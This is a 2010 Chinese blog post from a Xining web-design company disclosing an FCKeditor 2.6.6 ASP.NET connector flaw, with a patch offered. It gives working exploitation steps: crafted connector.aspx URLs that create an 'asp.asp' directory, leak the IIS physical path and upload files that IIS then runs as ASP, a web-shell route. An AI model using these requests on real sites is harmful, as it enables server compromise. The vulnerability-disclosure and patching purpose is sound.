青海网站建设、网络推广最好的公司--您身边的网站建设专家,马上拿起电话,联系我们:0971-8235355   
青海西宁网站建设、网站制作公司-西宁威势电子信息服务有限公司 首页 |  公司简介 |  网站建设 |  网络推广 |  空间租用 |  域名注册 |  企业邮局 |  网络安全 |  网站编程 |  客服中心 |  联系我们 |  人才招聘
 
西宁威势最新网站制做案例展示
Lastest Project
 
西宁网站建设  
当前位置为:首页 >> 脚本安全 >> 正文  
[原创]最新FckEditor2.6.6 漏洞

文章来源: 西宁威势电子信息服务有限公司     发布时间:2010-9-2    浏览次数:27468    tags:0day

今日在FckEditor官方网站下载了最新版的编辑器,然后粗略的研究了一下,下载的版本信息官方网站显示如下。

 

以下是引用片段:

FCKeditor

Our previous editor solution, stable and full featured

FCKeditor 2.6.6, released on 15 February 2010

download zip download tar


FCKeditor.Net: ASP.Net Control to easily integrate FCKeditor on ASP.NET pages

FCKeditor.Net 2.6.4, released on 30 August 2010

Attention: The main code is not included in this package, just the ASP.Net Control. You still need the FCKeditor scripts to be able to run it, so download it too.

download zip

文件解压以后显示,FredCK.FCKeditorV2.dll文件的修改时间是2010年8月30日13:55的,而今天是9月2日。

本人只测试了一下ASP.NET的功能,其它代码中不知道有没有问题,没有测试。我们可以通过下载包中默认的文件

http://www.qhwins.com/fckeditor/editor/filemanager/connectors/test.html

http://www.qhwins.com/fckeditor/editor/filemanager/connectors/uploadtest.html

在服务器上创建ASP.ASP目录。要是以上文件被管理员删除,则请访问:  提交地址:http://www.qhwins.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2Fasp.asp&NewFolderName=Test%20Folder 

轻易在服务器上新建一个ASP.ASP目录,大家知道,新建了一个这样的目录,我们就可以在往此目录中上传任何类型的文件,服务器就会把此文件当ASP文件来解析,所以危害还是比较大滴。二话不说,上图,图比什么都清楚,很弱智的漏洞,很好利用。

点击查看大图

 

漏洞利用方法:

   在当前目录中添加 /asp.asp目录,然后再点Create Folder 新建一个目录 ,这样就会在服务器上新建一个asp.asp的目录,并且它很老实的连你的路径都显示出来,真不知道这老外是怎么想的,利用很简单吧?

漏洞产生原因:

  打开它的代码文件Connector.cs,作者是这样写的,注意,汉字注释是我自己加上去的

以下是引用片段:

   // Get the main request information.
   string sCommand = Request.QueryString["Command"] ;
   string sResourceType = Request.QueryString[ "Type" ];
   string sCurrentFolder = Request.QueryString[ "CurrentFolder" ];   //这些行是获取客户端提交的

......省略N行

// Check the current folder syntax (must begin and start with a slash).  //检查语法
   if ( ! sCurrentFolder.EndsWith( "/" ) )
    sCurrentFolder += "/" ;
   if ( ! sCurrentFolder.StartsWith( "/" ) )
    sCurrentFolder = "/" + sCurrentFolder ;

   if ( Regex.IsMatch( sCurrentFolder, @"(/\.)|(\.\.)|(//)|([\\:\*\?""\<\>\|\p{C}])" ) )   //然后用正则匹配 。 将不合法的目录名匹配出来
   {
    XmlResponseHandler.SendError( Response, 102, "" );
    return;
   }

   本人测试发现,作者写的正则有点问题,它不能匹配出“.”这个符号,所以引起了漏洞。在自己稍微修改了一下,把正则表达式换成这样子的 :"(/\.)|(\.)+|(//)|([\\:\*\?""\<\>\|\p{C}])" 应该就可以了。注意,我本人对繁琐的正则表达式也记不住,大家自己检查吧!不过最保险的方法应该是直接把不合法的符号replace()掉,肯定是不会错的 

  漏洞修补方法:修改原代码,重新生成一下,然后取出生成的那个DLL文件,传到自己网站的BIN目录,将原来的覆盖即可,为了方便大家,我这里已经编辑好了一个,大家直接下载去用吧!我编译的是.NET 2.0环境的。点击此处下载FredCK.FCKeditorV2.rar  

  另外,今天又发现fckeditor还有暴物理路径的漏洞,上面的内容是昨天写的。于是再次修改代码,将此漏洞补上,大家直接下载这一个文件包吧!FredCK.FCKeditorV2.rar  这一个修补了两个漏洞,一个是在服务器创建asp.asp这样目录的漏洞,一个是泄露WEB物理路径的漏洞,后面的漏洞官方不知道是没有发现,还是没有重视,从来没有修补,除此之外网上公布的其它漏洞,经过测试,在这个版本中几乎都修补了。尽管这样,也有可能还有新的漏洞没有被公布出来,如果大家知道的话,告诉本人。

后记:本人在GOOGLE找了一个网站,找的站上面用的是最新的FCKEDITOR,用以下方式成功在服务器上新建一个ASP.ASP/SHELL.JPG文件。

以下是测试步骤

注意,域名换成本站的了,请不要对号入座。测试站点上面好多文件被删除,所以用了最保守的方法进行测试,也就是说只要编辑器能上传文件,且能正常使用,即可测试成功。

第一步:

查看信息 http://www.qhwins.com/editor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F 

返回如下信息

 <?xml version="1.0" encoding="utf-8" ?>

- <Connector command="GetFoldersAndFiles" resourceType="File">
  <CurrentFolder path="/" url="/uploader/fckdir/" />
- <Folders>
  <Folder name="XXX" />
  </Folders>
  <Files />
  </Connector>

第二步:

在服务器新建一个ASP.ASP目录: http://www.qhwins.com/editor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2Fasp.asp&NewFolderName=Test%20Folder

注意CurrentFolder参数值 :/asp.asp

如果没有意外,这一步下来会在服务器上生成一个ASP.ASP文件夹

第三步:报IIS路径

在浏览器提交:http://www.qhwins.com/editor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=~/

页面反回IIS WEB路径如下:

D:\wwwroot\x\qhwins.com\xxxx\uploader\fckroot\file\asp.asp  [过于敏感,我稍微处理了一下路径]

第四步:上传文件。这一步经历了一点小小的麻烦,不过很快搞定了。

  一开始想的是这样提交 HTTP://URL/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2Fasp.asp 但是不成功。另寻它法。在浏览器中访问它的Editor/fckdialog.html 文件也不行。自己在自己的电脑上抓包,得到如下路径:

GET /FekEditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http%3A%2F%2Fwww.myurl.com%2FSuperEditor%2Feditor%2Ffilemanager%2Fconnectors%2Faspx%2Fconnector.aspx HTTP/1.1
Accept: */*
GET /FekEditor/editor/filemanager/browser/default/frmresourcetype.html HTTP/1.1

GET /FekEditor/editor/filemanager/browser/default/frmfolders.html

OK,第一个页面就够了,后面两个可以不用。把第一个页面地址中的域名信息换成对方的,然后在浏览器提交

http://www.qhwins.com/editor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http%3A%2F%2Fwww.qhwins.com%2Feditor%2Feditor%2Ffilemanager%2Fconnectors%2Faspx%2Fconnector.aspx

注意红色部分type的值,一开始是FILE,现在抓包下来的是IMAGES,所以提交这个页面后虽然能正常返回服务器浏览文件的页面,但是看不到刚刚新建的ASP.ASP目录,没关系,把红色的IMAGES换成FILE再试,OK,我们刚刚新建的ASP.ASP目录被列出来了,剩下的事情就是传一个ABC.TXT或ABC.JPG之类的文件到ASP.ASP目录中去,当做ASP执行吧。你说什么?你不知道传上去文件的目录在哪?开什玩笑,刚刚不是暴出IIS的WEB物理路径了吗?这个也要问?

注意:本文只是证实了漏洞的存在,并提供了修补文件,请勿用此方法攻击别人站点,否则法律责任自负,与本站及文章作者无关。作者QQ:[壹4柒叁狗狗120]原创文章,转请请注明出处:http://www.qhwins.com/ShowNews/?11-20109214030542523.html 否则停止转载,谢谢!


上一篇:保护反被保护误――桃源网盘新漏洞
下一篇:asp.net 使用驻留在页面中的Cache缓存常用可定时更新的数据
评论列表
正在加载评论……
  
评论   
呢  称:
验证码: 若看不清请点击更换!
内  容:
 
 
  在线洽谈咨询:
点击这里,在线洽谈   点击这里,在线洽谈   点击这里,在线洽谈
与我交谈  与我交谈 与我交谈
乘车路线    汇款方式   加盟合作  人才招聘  
公司地址:青海省西宁市西关大街73号(三二四部队招行所四楼)     青ICP备13000578号-1 公安机关备案号:63010402000123    
QQ:147399120    mail:lostlove000@163.com    电话: 13897410341    邮编:810000
© Copyright( 2008-2009) QhWins.Com All Rights Reserved    版权所有:西宁威势电子信息服务有限公司 未经书面制授权,请勿随意转载!
业务:青海网站制做青海网站建设青海网页设计西宁网站制做西宁网站建设青海域名注册青海网络推广青海网站推广青海空间租用青海软件开发网站安全网络安全